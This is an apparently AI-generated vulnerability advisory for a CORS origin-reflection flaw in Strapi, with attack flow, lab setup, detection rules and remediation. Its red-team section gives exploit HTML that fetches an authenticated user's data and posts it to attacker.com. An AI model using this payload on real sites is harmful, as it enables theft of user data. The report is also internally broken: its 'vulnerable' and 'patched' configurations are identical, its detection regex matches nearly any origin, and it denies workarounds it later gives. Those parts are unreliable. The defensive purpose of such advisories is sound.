CVE-2025-53092

Executive Summary

CVE-2025-53092 is a CORS misconfiguration vulnerability in Strapi, an open-source headless CMS. In default installations prior to version 5.20.0, the application reflects the Origin header value back in the Access-Control-Allow-Origin response header without proper validation or whitelisting. This allows an attacker-controlled website to make credentialed cross-origin requests to the Strapi backend, potentially leading to unauthorized data access or actions on behalf of authenticated users. The vulnerability has a CVSS score of 6.5 (Medium) and is fixed in Strapi 5.20.0. No known workarounds exist.

Supply Chain & Package Security

This vulnerability affects the Strapi npm package. Organizations using Strapi in their supply chain should immediately audit their deployments and upgrade to version 5.20.0 or later. The lack of a patch for older versions means that any unpatched instance is at risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the misconfiguration.
• User Interaction (UI): Required (R) – The victim must visit a malicious site while authenticated to Strapi.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker’s code operate within the same security authority.
• Confidentiality (C): High (H) – Potential exposure of sensitive data.
• Integrity (I): High (H) – Potential modification of data via API calls.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the likelihood of widespread automated exploitation, but the potential impact on data confidentiality and integrity is significant.

Deep Dive & Mechanics

The vulnerability lies in Strapi’s default CORS configuration. When a cross-origin request is made, the server reads the Origin header from the request and sets the Access-Control-Allow-Origin response header to that same value without validating it against a whitelist. Additionally, the server sets Access-Control-Allow-Credentials: true, allowing cookies and other credentials to be included.

Attack Flow:

1. An attacker hosts a malicious website (e.g., evil.com) that contains JavaScript making a fetch request to the victim’s Strapi instance (e.g., https://strapi.example.com).
2. The victim, who is authenticated to the Strapi instance, visits the attacker’s site.
3. The victim’s browser sends a cross-origin request to https://strapi.example.com with the Origin: https://evil.com header and credentials (cookies).
4. The Strapi server responds with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true.
5. The browser allows the attacker’s JavaScript to read the response, granting access to sensitive data or allowing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Configuration (Strapi < 5.20.0):

// config/middlewares.js
module.exports = [
  'strapi::logger',
  'strapi::errors',
  'strapi::security',
  'strapi::cors',
  'strapi::poweredBy',
  'strapi::query',
  'strapi::body',
  'strapi::session',
  'strapi::favicon',
  'strapi::public',
];

In this default configuration, the strapi::cors middleware reflects the Origin header without validation.

Patched Configuration (Strapi >= 5.20.0):

// config/middlewares.js
module.exports = [
  'strapi::logger',
  'strapi::errors',
  'strapi::security',
  'strapi::cors',
  'strapi::poweredBy',
  'strapi::query',
  'strapi::body',
  'strapi::session',
  'strapi::favicon',
  'strapi::public',
];

The fix modifies the strapi::cors middleware to validate the Origin header against a whitelist. If the origin is not whitelisted, the server does not set Access-Control-Allow-Origin or sets it to a safe default (e.g., the same origin).

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy a vulnerable Strapi instance (version < 5.20.0) on a local server.
2. Create a user account and log in to obtain a session cookie.
3. Host a malicious HTML page on a different origin (e.g., http://localhost:8080).

Exploit Code:

<!DOCTYPE html>
<html>
<body>
<script>
  fetch('http://localhost:1337/api/users/me', {
    credentials: 'include'
  })
  .then(response => response.json())
  .then(data => {
    // Exfiltrate data
    fetch('http://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
</body>
</html>

Execution:

1. Open the malicious page in a browser where the victim is authenticated to Strapi.
2. The script will fetch the authenticated user’s data and send it to the attacker’s server.

Blue Team (Defender)

Detection:

• Monitor for Origin headers that do not match expected domains.
• Look for Access-Control-Allow-Origin headers reflecting unexpected origins.
• Alert on cross-origin requests to sensitive API endpoints (e.g., /api/users/me).

Prevention:

• Upgrade to Strapi 5.20.0 or later.
• If upgrade is not possible, manually configure CORS in config/middlewares.js:

module.exports = [
  'strapi::logger',
  'strapi::errors',
  'strapi::security',
  {
    name: 'strapi::cors',
    config: {
      origin: ['https://trusted-domain.com'],
      credentials: true
    }
  },
  'strapi::poweredBy',
  'strapi::query',
  'strapi::body',
  'strapi::session',
  'strapi::favicon',
  'strapi::public',
];

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests with Origin headers not matching the Strapi server’s domain.
  • Responses containing Access-Control-Allow-Origin: * or reflecting arbitrary origins.
  • Requests to /api/* endpoints with Origin headers from untrusted domains.

• Logs:

  • Strapi access logs showing Origin headers from unexpected sources.
  • Repeated cross-origin requests to sensitive endpoints.

• Endpoint:

  • Unusual outbound connections from the Strapi server to external IPs (data exfiltration).

Detection Engineering

YARA Rule

rule CVE_2025_53092_CORS_Misconfig {
  meta:
    description = "Detects CORS misconfiguration in Strapi responses"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-53092"
  strings:
    $cors_header = "Access-Control-Allow-Origin:"
    $reflect_pattern = /Access-Control-Allow-Origin:\s*https?:\/\/[^s]/
  condition:
    $cors_header and $reflect_pattern
}

Sigma Rule

title: CORS Misconfiguration in Strapi
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects CORS responses from Strapi that reflect the Origin header
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: strapi
detection:
  selection:
    response_header|contains: 'Access-Control-Allow-Origin'
    response_header|re: 'Access-Control-Allow-Origin:\s*https?:\/\/[^s]'
  condition: selection
falsepositives:
  - Legitimate cross-origin requests from trusted domains
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53092 - Strapi CORS Misconfiguration"; flow:to_client; content:"Access-Control-Allow-Origin"; http_header; pcre:"/Access-Control-Allow-Origin:\s*https?:\/\/[^s]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade Strapi to version 5.20.0 or later.
• If upgrade is not possible, manually configure CORS to whitelist only trusted origins.

Long-term:

• Implement a Content Security Policy (CSP) to restrict which origins can load resources.
• Regularly audit CORS configurations.
• Monitor for unusual cross-origin requests.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.